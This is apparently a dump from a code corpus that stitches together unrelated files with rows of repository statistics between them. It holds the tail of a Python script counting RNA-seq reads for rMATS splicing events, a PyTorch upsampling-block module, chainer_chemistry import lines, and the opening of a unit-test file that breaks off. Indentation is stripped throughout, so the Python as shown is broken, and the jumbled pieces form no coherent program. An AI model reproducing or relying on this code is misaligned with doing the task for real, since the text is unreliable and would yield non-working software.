if key not in usedE: ## read didn't cover this event before, add it
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
else: ## positive strand
if ( jS==a3ss[chr][group][c][5] and jE==a3ss[chr][group][c][0] ): ## IJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a3ss[chr][group][c][5] and jE==a3ss[chr][group][c][2] ): ## SJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][S]+=1;
c_a3ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif prevN == -1:
cStart = jE+1; cEnd=jE+lastNumber;
if (cStart>a3ss[chr][group][c][0] and cStart<=(a3ss[chr][group][c][2]-(rL-junctionLength/2)+1) and cEnd>=(a3ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of A3SS ###
## RI ###
if chr in ri: ## this chromosome has ri event(s)
if group in ri[chr]: ## this group has ri event(s)
for c in ri[chr][group]: ## for each ri event in this group, examine if the given junction is part of it
if jS==ri[chr][group][c][3] and jE==ri[chr][group][c][4] : ## SJC
key=':'.join(["RI",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_ri[c][CT1][S]+=1;
c_ri[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
if prevN == -1:
if cStart<=(ri[chr][group][c][4]-(rL-junctionLength/2)+1) and cEnd>=(ri[chr][group][c][4]+(rL-junctionLength/2)): ## multi-exon read supporting target
key=':'.join(["RI",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
if nextN == -1:
cStart = jE+1; cEnd=jE+lastNumber; ## just change cStart and cEnd then do the same process
if cStart<=(ri[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd>=(ri[chr][group][c][3]+(rL-junctionLength/2)):
key=':'.join(["RI",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of RI ###
#### end of for ec #####
else: ## it is not exonic nor junction read. proceed to the next line
continue;
sFile.close();
#edgeFile = open(s1.strip()+'.edgeCount', 'w');
#for k in e1:
# edgeFile.write(k+'\t'+str(e1[k])+'\n');
#edgeFile.close();
##### end of processSample_stranded ######
#def getId(ids,key):
# for chr in ids: ## this chromosome has se event(s)
# for group in ids[chr]: ## this group has skipped exon event(s)
# if key in ids[chr][group]:
# event_location=ids[chr][group][key];
#[tS,tE,uS,uE,dS,dE,strand]
# return [chr,event_location[-1],":".join(map(str,event_location[:-1]))];
def writeInputFile2(h1,f1,id_index,cnt,sup): ## header 1,2,3, file 1,2,3, count dict, supple dict)
## print header first
f1.write(h1+'\n');
for k in sorted(sup.keys()):
f1.write(str(id_index[k])+'\t'+str(cnt[k][CT1][I])+'\t'+str(cnt[k][CT1][S])+'\t'+str(sup[k][CT1][0])+'\t'+str(sup[k][CT1][1])+'\n');
#f1.write(':'.join(map(str,getId(id_index,k)))+'\t'+str(cnt[k][CT1][I])+'\t'+str(cnt[k][CT1][S])+'\t'+str(sup[k][CT1][0])+'\t'+str(sup[k][CT1][1])+'\n');
##### end of writeInputFile function #######
def main():
parser = argparse.ArgumentParser(description='''
Given a BAM file and rMATS event files,
count the reads supporting the events.''')
parser.add_argument('SE',
help='skipped event file, generated by rMATS')
parser.add_argument('MXE',
help='mutually exclusive event file, generated by rMATS')
parser.add_argument('A5SS',
help='alternative 5 prime event file, generated by rMATS')
parser.add_argument('A3SS',
help='alternative 3 prime event file, generated by rMATS')
parser.add_argument('RI',
help='retianed intron event file, generated by rMATS')
parser.add_argument('input_file',
help='BAM file, previously aligned')
parser.add_argument('outDir',
help='output directory.')
parser.add_argument('-rl', '--read_length', type=int, default=50,
help='read length. Default: 50.')
parser.add_argument('-jl', '--junction_length', type=int, default=84,
help='junction length. Default: 84.')
#parser.add_argument('-p', '--processor', type=int, default=1,
# help='number of processors to use. Default: 1.')
print("initializing variables...")
#### global variables ################
#### default configuration values #####
#readLength=50;
#junctionLength=84;
global SE
global MXE
global A5SS
global A3SS
#AFE='AFE';
#ALE='ALE';
global RI
global experiment
experiment = 'custom';
global base
base ='base';
global dataType
dataType = 'paired'; ## either single or paired
global samDir
samDir = '.';
#input_file='.';
#outDir = 'myOutput';
email = 'yourID@your.domain';
libType='fr-unstranded';
#######################################
#import readLength,junctionLength,outDir,input_file
args = parser.parse_args();
#events = parse_events(args.efname, args.column)
#sys.stderr.write('Total number of events: {}.\n'.format(len(events)))
#sample_info = parse_sample(args.sfname)
#sys.stderr.write('Total number of samples: {}.\n'.format(len(sample_info['sample'])))
#psi_diff(events, sample_info, args.ofname, args.iteration, args.seed, args.group_size, args.processor)
global readLength;
readLength = args.read_length;
global junctionLength;
junctionLength = args.junction_length;
global input_file;
input_file = args.input_file;
global outDir;
outDir = args.outDir;
SE=args.SE;
MXE=args.MXE;
A5SS=args.A5SS;
A3SS=args.A3SS;
RI=args.RI;
#
print("Input File: "+input_file)
print("Output Folder: "+outDir)
print("Read Length: "+str(readLength))
print("Junction Length: "+str(junctionLength))
#
commands.getstatusoutput('mkdir '+outDir);
#
ejLength = junctionLength-readLength+1; ## effective junction length
global anchorLength;
anchorLength = readLength-junctionLength/2; ## anchor length
global CT1,CT2,CT3;
CT1,CT2,CT3=0,1,2; ### count type 1,2, or 3
#S1,S2=0,1; ## sample 1 or sample 2
global I,S;
I,S=0,1; ## inclusion isoform or skipping form
#
#pPath = outDir+'/junctions.per.sample.pickle';
#junctions = pickle.load(open(pPath)); ## junctions per sample
#
prefix = experiment;
#
### open AS event files..
#
seFile = open(SE); ## skipped exon event file
mxeFile = open(MXE); ## mxe event file
a5ssFile = open(A5SS); ## a5ss event file
a3ssFile = open(A3SS); ## a3ss event file
riFile = open(RI); ## ri event file
#
### open output files here...
#
JC_seFile = open(outDir+'/JC.'+prefix+'.SE.MATS.input.txt', 'w');
JC_mxeFile = open(outDir+'/JC.'+prefix+'.MXE.MATS.input.txt', 'w');
JC_a5ssFile = open(outDir+'/JC.'+prefix+'.A5SS.MATS.input.txt', 'w');
JC_a3ssFile = open(outDir+'/JC.'+prefix+'.A3SS.MATS.input.txt', 'w');
JC_riFile = open(outDir+'/JC.'+prefix+'.RI.MATS.input.txt', 'w');
global chunk;
chunk=1000; ## to speed up the sam file processing
##############################
## BUILD EVENT DICTIONARIES ##
##############################
print("Building event dictionaries from annotation...")
global se,mxe,a5ss,a3ss,afe,ale,ri
se={};mxe={};a5ss={};a3ss={};afe={};ale={};ri={}; ## 7 dictionaries
global id_se,id_mxe,id_a5ss,id_a3ss,id_afe,id_ale,id_ri
id_se={};id_mxe={};id_a5ss={};id_a3ss={};id_afe={};id_ale={};id_ri={};
global e_se,e_mxe,e_a5ss,e_a3ss,e_afe,e_ale,e_ri
e_se={};e_mxe={};e_a5ss={};e_a3ss={};e_afe={};e_ale={};e_ri={}; ## exons dictionaries
global c_se,c_mxe,c_a5ss,c_a3ss,c_afe,c_ale,c_ri
c_se={};c_mxe={};c_a5ss={};c_a3ss={};c_afe={};c_ale={};c_ri={}; ## count dictionaries
global s_se,s_mxe,s_a5ss,s_a3ss,s_afe,s_ale,s_ri
s_se={};s_mxe={};s_a5ss={};s_a3ss={};s_afe={};s_ale={};s_ri={}; ## supple dict. effective length of inclusion or skipping form for CT1,CT2,CT3
#
#### SE ######
c=0; ## count
numSE=0; ## number of SE
numSEDup=0; ## duplicate SE id
line=seFile.readline(); ## skipping header
for line in seFile: ## process skipped exon events file
c+=1;
ele = line.strip().split('\t');
id = int(ele[0]);
chr = ele[3];
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
strand = ele[4];
tS = int(ele[5]); tE = int(ele[6]); ## target exon coord
uS = int(ele[7]); uE = int(ele[8]); ## upstream exon coord
dS = int(ele[9]); dE = int(ele[10]); ## downstream exon coord
tLen=tE-tS; ## target exon length
uLen=min(uE-uS,junctionLength/2); ## upstream exon length
dLen=min(dE-dS,junctionLength/2); ## downstream exon length
id_se[id]=":".join(map(str,[chr,strand,tS,tE,uS,uE,dS,dE]));
e_se[id] = [tS,tE,uS,uE,dS,dE];
c_se[id] = getInitialCounts();
I_0= min(tLen,readLength)+readLength-4*anchorLength+2; ## effective inclusion form length for JC
S_0= readLength-2*anchorLength+1; ## effective skipping form length for JC
I_1= readLength-2*anchorLength+tLen+1; ## effective inclusion form length for JC+reads on target
S_1= S_0; ## effective skipping form length for JC+reads on target
I_2=0; S_2=0; ## effective length considering paired-end info.. not implemented yet
s_se[id] = [[I_0,S_0],[I_1,S_1],[I_2,S_2]]; ## effective length for CT1,CT2,CT3
group = range(uS/chunk, uE/chunk+1) + range(tS/chunk, tE/chunk+1) + range(dS/chunk, dE/chunk+1); ## groups this event could belong
group = list(set(group)); ## remove duplicate groups
if chr in se: ## already processed this chromosome
for i in group: ## for each possible group
if i in se[chr]: ## this group is already there
if id in se[chr][i]: ## not likely but this group already has the id
numSEDup+=1;
else: ## new SE ID
se[chr][i][id] = [tS,tE,uS,uE,dS,dE,strand]; ## skipping event with coords
numSE+=1;
else: ## new group to this chromosome
se[chr][i]={};
se[chr][i][id] = [tS,tE,uS,uE,dS,dE,strand]; ## skipping event with coords
numSE+=1;
else: ## first time accesing this chromosome
se[chr]={};
for i in group: ## for each possible group
se[chr][i]={};
se[chr][i][id] = [tS,tE,uS,uE,dS,dE,strand]; ## skipping event with coords
numSE+=1;
#
#### MXE ####
c=0; ## count
numMXE=0; ## number of MXE
numMXEDup=0; ## duplicate MXE id
line=mxeFile.readline(); ## mxe header
for line in mxeFile: ## process mxe events file
c+=1;
ele = line.strip().split('\t');
id = int(ele[0]);
chr = ele[3];
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
strand = ele[4]; ## '+' or '-'
tS = int(ele[5]); tE = int(ele[6]); ## target exon coord
sS = int(ele[7]); sE = int(ele[8]); ## second exon coord
if strand=='-': ## negative strand, switch target exon and second exon
tS = int(ele[7]); tE = int(ele[8]); ## target exon coord
sS = int(ele[5]); sE = int(ele[6]); ## second exon coord
uS = int(ele[9]); uE = int(ele[10]); ## upstream exon coord (samller coord)
dS = int(ele[11]); dE = int(ele[12]); ## downstream exon coord (bigger coord)
tLen=tE-tS; ## target exon length
sLen=sE-sS; ## second exon length
uLen=min(uE-uS,junctionLength/2); ## upstream exon length
dLen=min(dE-dS,junctionLength/2); ## downstream exon length
id_mxe[id]=":".join(map(str,[chr,strand,tS,tE,sS,sE,uS,uE,dS,dE]));
e_mxe[id] = [tS,tE,sS,sE,uS,uE,dS,dE]; ## target, second, up, down (This is different from the input file)
c_mxe[id] = getInitialCounts();
I_0= min(tLen,readLength)+readLength-4*anchorLength+2; ## effective inclusion form length for JC
S_0= min(sLen,readLength)+readLength-4*anchorLength+2; ## effective skipping form length for JC
I_1= readLength-2*anchorLength+tLen+1; ## effective inclusion form length for JC+reads on target
S_1= readLength-2*anchorLength+sLen+1; ## effective inclusion form length for JC+reads on target
I_2=0; S_2=0; ## effective length considering paired-end info.. not implemented yet
s_mxe[id] = [[I_0,S_0],[I_1,S_1],[I_2,S_2]]; ## effective length for CT1,CT2,CT3
group = range(uS/chunk,uE/chunk+1)+range(tS/chunk,tE/chunk+1);
group = group + range(sS/chunk,sE/chunk+1)+range(dS/chunk,dE/chunk+1);## groups this event could belong
group = list(set(group)); ## remove duplicate groups
if chr in mxe: ## already processed this chromosome
for i in group: ## for each possible group
if i in mxe[chr]: ## this group is already there
if id in mxe[chr][i]: ## not likely but this group already has the id
numMXEDup+=1;
else: ## new MXE ID
mxe[chr][i][id] = [tS,tE,sS,sE,uS,uE,dS,dE,strand]; ## mxe event with coords
numMXE += 1;
else: ## new group to this chromosome
mxe[chr][i]={};
mxe[chr][i][id] = [tS,tE,sS,sE,uS,uE,dS,dE,strand]; ## mxe event with coords
numMXE += 1;
else: ## first time accesing this chromosome
mxe[chr]={};
for i in group: ## for each possible group
mxe[chr][i]={};
mxe[chr][i][id] = [tS,tE,sS,sE,uS,uE,dS,dE,strand]; ## mxe event with coords
numMXE+=1;
#
#### A5SS ####
c=0; ## count
numA5SS=0; ## number of A5SS
numA5SSDup=0; ## duplicate A5SS id
line=a5ssFile.readline(); ## skipping header
for line in a5ssFile: ## process a5ss events file
c+=1;
ele = line.strip().split('\t');
id = int(ele[0]);
chr = ele[3];
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
strand = ele[4];
lS = int(ele[5]); lE = int(ele[6]); ## long exon coord
sS = int(ele[7]); sE = int(ele[8]); ## short exon coord
fS = int(ele[9]); fE = int(ele[10]); ## flanking exon coord
lLen=min(lE-lS,junctionLength/2); ## long exon length
sLen=min(sE-sS,junctionLength/2); ## short exon length
fLen=min(fE-fS,junctionLength/2); ## flanking exon length
aLen=lE-lS-(sE-sS); ## alternative SS region length
id_a5ss[id]=":".join(map(str,[chr,strand,lS,lE,sS,sE,fS,fE]));
e_a5ss[id] = [lS,lE,sS,sE,fS,fE];
c_a5ss[id] = getInitialCounts();
I_0= min(aLen,readLength)+readLength-4*anchorLength+2; ## effective inclusion form length for JC
S_0= readLength-2*anchorLength+1; ## effective skipping form length for JC
I_1= readLength-2*anchorLength+aLen+1; ## effective inclusion form length for JC+reads on target
S_1= S_0; ## effective skipping form length for JC+reads on target
I_2=0; S_2=0; ## effective length considering paired-end info.. not implemented yet
s_a5ss[id] = [[I_0,S_0],[I_1,S_1],[I_2,S_2]]; ## effective length for CT1,CT2,CT3
group = range(lS/chunk, lE/chunk+1) + range(fS/chunk, fE/chunk+1); ## groups this event could belong
group = list(set(group)); ## remove duplicate groups
if chr in a5ss: ## already processed this chromosome
for i in group: ## for each possible group
if i in a5ss[chr]: ## this group is already there
if id in a5ss[chr][i]: ## not likely but this group already has the id
numA5SSDup+=1;
else: ## new A5SS ID
a5ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a5ss event with coords
numA5SS+=1;
else: ## new group to this chromosome
a5ss[chr][i]={};
a5ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a5ss event with coords
numA5SS+=1;
else: ## first time accesing this chromosome
a5ss[chr]={};
for i in group: ## for each possible group
a5ss[chr][i]={};
a5ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a5ss event with coords
numA5SS+=1;
#
### A3SS ####
c=0; ## count
numA3SS=0; ## number of A3SS
numA3SSDup=0; ## duplicate A3SS id
line=a3ssFile.readline(); ## skipping header
for line in a3ssFile: ## process a3ss events file
c+=1;
ele = line.strip().split('\t');
id = int(ele[0]);
chr = ele[3];
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
strand = ele[4];
lS = int(ele[5]); lE = int(ele[6]); ## long exon coord
sS = int(ele[7]); sE = int(ele[8]); ## short exon coord
fS = int(ele[9]); fE = int(ele[10]); ## flanking exon coord
lLen=min(lE-lS,junctionLength/2); ## long exon length
sLen=min(sE-sS,junctionLength/2); ## short exon length
fLen=min(fE-fS,junctionLength/2); ## flanking exon length
aLen=lE-lS-(sE-sS); ## alternative SS region length
id_a3ss[id]=":".join(map(str,[chr,strand,lS,lE,sS,sE,fS,fE]));
e_a3ss[id] = [lS,lE,sS,sE,fS,fE];
c_a3ss[id] = getInitialCounts();
I_0= min(aLen,readLength)+readLength-4*anchorLength+2; ## effective inclusion form length for JC
S_0= readLength-2*anchorLength+1; ## effective skipping form length for JC
I_1= readLength-2*anchorLength+aLen+1; ## effective inclusion form length for JC+reads on target
S_1= S_0; ## effective skipping form length for JC+reads on target
I_2=0; S_2=0; ## effective length considering paired-end info.. not implemented yet
s_a3ss[id] = [[I_0,S_0],[I_1,S_1],[I_2,S_2]]; ## effective length for CT1,CT2,CT3
group = range(lS/chunk, lE/chunk+1) + range(fS/chunk, fE/chunk+1); ## groups this event could belong
group = list(set(group)); ## remove duplicate groups
if chr in a3ss: ## already processed this chromosome
for i in group: ## for each possible group
if i in a3ss[chr]: ## this group is already there
if id in a3ss[chr][i]: ## not likely but this group already has the id
numA3SSDup+=1;
else: ## new A3SS ID
a3ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a3ss event with coords
numA3SS+=1;
else: ## new group to this chromosome
a3ss[chr][i]={};
a3ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a3ss event with coords
numA3SS+=1;
else: ## first time accesing this chromosome
a3ss[chr]={};
for i in group: ## for each possible group
a3ss[chr][i]={};
a3ss[chr][i][id] = [lS,lE,sS,sE,fS,fE,strand]; ## a3ss event with coords
numA3SS+=1;
#
#### RI ####
c=0; ## count
numRI=0; ## number of RI
numRIDup=0; ## duplicate RI id
line=riFile.readline(); ## skipping header
for line in riFile: ## process ri events file
c+=1;
ele = line.strip().split('\t');
id = int(ele[0]);
chr = ele[3];
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
strand = ele[4];
rS = int(ele[5]); rE = int(ele[6]); ## ri exon coord (including up- and down-stream exons)
uS = int(ele[7]); uE = int(ele[8]); ## upstream exon coord
dS = int(ele[9]); dE = int(ele[10]); ## downstream exon coord
uLen=min(uE-uS,junctionLength/2); ## upstream exon length
dLen=min(dE-dS,junctionLength/2); ## downstream exon length
riLen=rE-rS-(uE-uS)-(dE-dS); ## retained exon length
id_ri[id]=":".join(map(str,[chr,strand,rS,rE,uS,uE,dS,dE]));
e_ri[id] = [rS,rE,uS,uE,dS,dE]; ## ri event with coord
c_ri[id] = getInitialCounts();
I_0= min(riLen,readLength)+readLength-4*anchorLength+2; ## effective inclusion form length for JC
S_0= readLength-2*anchorLength+1; ## effective skipping form length for JC
I_1= readLength-2*anchorLength+riLen+1; ## effective inclusion form length for JC+reads on target
S_1= S_0; ## effective skipping form length for JC+reads on target
I_2=0; S_2=0; ## effective length considering paired-end info.. not implemented yet
s_ri[id] = [[I_0,S_0],[I_1,S_1],[I_2,S_2]]; ## effective length for CT1,CT2,CT3
group = range(rS/chunk, rE/chunk+1); ## groups this event could belong
group = list(set(group)); ## remove duplicate groups
if chr in ri: ## already processed this chromosome
for i in group: ## for each possible group
if i in ri[chr]: ## this group is already there
if id in ri[chr][i]: ## not likely but this group already has the id
numRIDup+=1;
else: ## new RI ID
ri[chr][i][id] = [rS,rE,uS,uE,dS,dE,strand]; ## ri event with coord
numRI+=1;
else: ## new group to this chromosome
ri[chr][i]={};
ri[chr][i][id] = [rS,rE,uS,uE,dS,dE,strand]; ## ri event with coord
numRI+=1;
else: ## first time accesing this chromosome
ri[chr]={};
for i in group: ## for each possible group
ri[chr][i]={};
ri[chr][i][id] = [rS,rE,uS,uE,dS,dE,strand]; ## ri event with coord
numRI+=1;
print("Counting Reads...")
####################################
## Running the counting functions ##
####################################
#if dataType=="skipThisForNow": ## call paired..
#logging.debug("Start processing sample_1: %s" % base_1);
#processSample_PE(input_file, 72, 60);
if libType=='fr-unstranded': ## unstranded..
processSample(input_file);
elif libType=='fr-firststrand': ## first strand..
processSample_stranded(input_file,dataType,'first')
elif libType=='fr-secondstrand': ## second strand..
processSample_stranded(input_file,dataType,'second')
###
print("Writing Output...")
######################################
## Writing out the rMATS input file ##
######################################
header = 'ID(chr:strand:SE_s:SE_e:UP_s:UP_e:DN_s:DN_e)\tIC_'+base+'\tSC_'+base+'\tIncFormLen\tSkipFormLen';
#
## SE ##
writeInputFile2(header,JC_seFile,id_se,c_se,s_se);
## MXE ##
writeInputFile2(header,JC_mxeFile,id_mxe,c_mxe,s_mxe);
## A5SS ##...
writeInputFile2(header,JC_a5ssFile,id_a5ss,c_a5ss,s_a5ss);
## A3SS ##...
writeInputFile2(header,JC_a3ssFile,id_a3ss,c_a3ss,s_a3ss);
## RI ##
writeInputFile2(header,JC_riFile,id_ri,c_ri,s_ri);
#
print("Done!")
#### close all files here ##########
seFile.close()
mxeFile.close()
a5ssFile.close()
a3ssFile.close()
riFile.close()
#
JC_seFile.close()
JC_mxeFile.close()
JC_a5ssFile.close()
JC_a3ssFile.close()
JC_riFile.close()
#
sys.exit(0);
#
if __name__ == '__main__':
main()
| 52.425811
| 327
| 0.520497
| 9,574
| 67,839
| 3.642574
| 0.052956
| 0.046797
| 0.047485
| 0.016861
| 0.822762
| 0.814217
| 0.803062
| 0.788897
| 0.775994
| 0.760309
| 0
| 0.034262
| 0.310323
| 67,839
| 1,293
| 328
| 52.466357
| 0.711116
| 0.276375
| 0
| 0.739388
| 0
| 0
| 0.029393
| 0.001617
| 0
| 0
| 0
| 0
| 0
| 1
| 0.007897
| false
| 0
| 0.002962
| 0
| 0.015795
| 0.009872
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
96dcb1d659a8f4a37e39a7c64f73627971f1d0d9
| 5,573
|
py
|
Python
|
gans/building_blocks/upsample_blocks.py
|
christophstach/research-project-gan
|
1619565e30163a77d4777c5e9738d2393bac59af
|
[
"Apache-2.0"
] | 1
|
2021-02-13T10:50:28.000Z
|
2021-02-13T10:50:28.000Z
|
gans/building_blocks/upsample_blocks.py
|
christophstach/research-project-gan
|
1619565e30163a77d4777c5e9738d2393bac59af
|
[
"Apache-2.0"
] | null | null | null |
gans/building_blocks/upsample_blocks.py
|
christophstach/research-project-gan
|
1619565e30163a77d4777c5e9738d2393bac59af
|
[
"Apache-2.0"
] | null | null | null |
import math
import torch
import torch.nn as nn
class UpsampleFractionalConv2d(nn.Module):
def __init__(self, in_channels, out_channels, kernel_size=4, stride=2, negative_slope=0.2, activation=False):
super().__init__()
self.negative_slope = negative_slope
if activation:
self.main = nn.Sequential(
nn.ConvTranspose2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=kernel_size,
stride=stride,
padding=stride - 1,
bias=False
),
# nn.BatchNorm2d(out_channels),
nn.LeakyReLU(self.negative_slope, inplace=True)
)
else:
self.main = nn.Sequential(
nn.ConvTranspose2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=kernel_size,
stride=stride,
padding=stride - 1,
bias=False
)
)
self.apply(self.init_weights)
def init_weights(self, m):
if isinstance(m, nn.Conv2d):
# Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification
# https://arxiv.org/abs/1502.01852
torch.nn.init.kaiming_uniform_(m.weight, a=self.negative_slope, nonlinearity="leaky_relu")
if m.bias is not None:
fan_in, _ = torch.nn.init._calculate_fan_in_and_fan_out(m.weight)
bound = 1 / math.sqrt(fan_in)
torch.nn.init.uniform_(m.bias, -bound, bound)
def forward(self, x):
x = self.main(x)
return x
class UpsampleInterpolateConv2d(nn.Module):
def __init__(self, in_channels, out_channels, kernel_size=5, upscale_factor=2, negative_slope=0.2, activation=True):
super().__init__()
self.negative_slope = negative_slope
if activation:
self.main = nn.Sequential(
nn.Upsample(
scale_factor=upscale_factor,
mode="nearest"
),
nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=kernel_size,
stride=1,
padding=kernel_size // 2,
bias=False
),
nn.LeakyReLU(self.negative_slope, inplace=True)
)
else:
self.main = nn.Sequential(
nn.Upsample(
scale_factor=upscale_factor,
mode="nearest"
),
nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=kernel_size,
stride=1,
padding=kernel_size // 2,
bias=False
)
)
self.apply(self.init_weights)
def init_weights(self, m):
if isinstance(m, nn.Conv2d):
# Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification
# https://arxiv.org/abs/1502.01852
torch.nn.init.kaiming_uniform_(m.weight, a=self.negative_slope, nonlinearity="leaky_relu")
if m.bias is not None:
fan_in, _ = torch.nn.init._calculate_fan_in_and_fan_out(m.weight)
bound = 1 / math.sqrt(fan_in)
torch.nn.init.uniform_(m.bias, -bound, bound)
def forward(self, x):
x = self.main(x)
return x
class UpsampleConv2dPixelShuffle(nn.Module):
def __init__(self, in_channels, out_channels, kernel_size=5, upscale_factor=2, negative_slope=0.2, activation=True):
super().__init__()
self.negative_slope = negative_slope
if activation:
self.main = nn.Sequential(
nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels * 2 ** upscale_factor,
kernel_size=kernel_size,
stride=1,
padding=kernel_size // 2,
bias=False
),
nn.PixelShuffle(upscale_factor),
nn.LeakyReLU(self.negative_slope, inplace=True)
)
else:
self.main = nn.Sequential(
nn.Conv2d(
in_channels=in_channels,
out_channels=out_channels * 2 ** upscale_factor,
kernel_size=kernel_size,
stride=1,
padding=kernel_size // 2,
bias=False
),
nn.PixelShuffle(upscale_factor)
)
self.apply(self.init_weights)
def init_weights(self, m):
if isinstance(m, nn.Conv2d):
# Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification
# https://arxiv.org/abs/1502.01852
torch.nn.init.kaiming_uniform_(m.weight, a=self.negative_slope, nonlinearity="leaky_relu")
if m.bias is not None:
fan_in, _ = torch.nn.init._calculate_fan_in_and_fan_out(m.weight)
bound = 1 / math.sqrt(fan_in)
torch.nn.init.uniform_(m.bias, -bound, bound)
def forward(self, x):
x = self.main(x)
return x
| 33.981707
| 120
| 0.528979
| 583
| 5,573
| 4.809605
| 0.149228
| 0.06776
| 0.101641
| 0.067404
| 0.945078
| 0.945078
| 0.935806
| 0.935806
| 0.935806
| 0.935806
| 0
| 0.019596
| 0.386506
| 5,573
| 163
| 121
| 34.190184
| 0.800526
| 0.072492
| 0
| 0.866142
| 0
| 0
| 0.008525
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.070866
| false
| 0
| 0.023622
| 0
| 0.141732
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
96e620b07dd3dd0500957d52aed8e6e09bb47fc0
| 533
|
py
|
Python
|
chainer_chemistry/dataset/parsers/__init__.py
|
delta2323/chainerchem
|
364dd2b26aec2d0b25d5e2b30a9510a9d44814af
|
[
"MIT"
] | null | null | null |
chainer_chemistry/dataset/parsers/__init__.py
|
delta2323/chainerchem
|
364dd2b26aec2d0b25d5e2b30a9510a9d44814af
|
[
"MIT"
] | null | null | null |
chainer_chemistry/dataset/parsers/__init__.py
|
delta2323/chainerchem
|
364dd2b26aec2d0b25d5e2b30a9510a9d44814af
|
[
"MIT"
] | 1
|
2019-05-23T12:25:57.000Z
|
2019-05-23T12:25:57.000Z
|
from chainer_chemistry.dataset.parsers import base_parser # NOQA
from chainer_chemistry.dataset.parsers import csv_file_parser # NOQA
from chainer_chemistry.dataset.parsers import sdf_file_parser # NOQA
from chainer_chemistry.dataset.parsers.base_parser import BaseFileParser # NOQA
from chainer_chemistry.dataset.parsers.base_parser import BaseParser # NOQA
from chainer_chemistry.dataset.parsers.csv_file_parser import CSVFileParser # NOQA
from chainer_chemistry.dataset.parsers.sdf_file_parser import SDFFileParser # NOQA
| 59.222222
| 83
| 0.859287
| 71
| 533
| 6.197183
| 0.225352
| 0.175
| 0.318182
| 0.429545
| 0.768182
| 0.768182
| 0.504545
| 0.504545
| 0.245455
| 0
| 0
| 0
| 0.093809
| 533
| 8
| 84
| 66.625
| 0.910973
| 0.06379
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8c05102bc2865e9fddd541cef599c02d6c2b836a
| 17,873
|
py
|
Python
|
tests/test_cdiquerygenestoterm.py
|
idekerlab/cdiquerygenestoterm
|
1a9b0aaf62d661e05b42b6cd24214f1cd183439f
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_cdiquerygenestoterm.py
|
idekerlab/cdiquerygenestoterm
|
1a9b0aaf62d661e05b42b6cd24214f1cd183439f
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_cdiquerygenestoterm.py
|
idekerlab/cdiquerygenestoterm
|
1a9b0aaf62d661e05b42b6cd24214f1cd183439f
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
test_cdiquerygenestoterm
----------------------------------
Tests for `cdiquerygenestoterm` module.
"""
import os
import sys
import unittest
import tempfile
import shutil
from unittest.mock import MagicMock
import requests
import requests_mock
import cdiquerygenestoterm
from cdiquerygenestoterm import cdiquerygenestotermcmd
class TestCdiquerygenestoterm(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def test_read_inputfile(self):
temp_dir = tempfile.mkdtemp()
try:
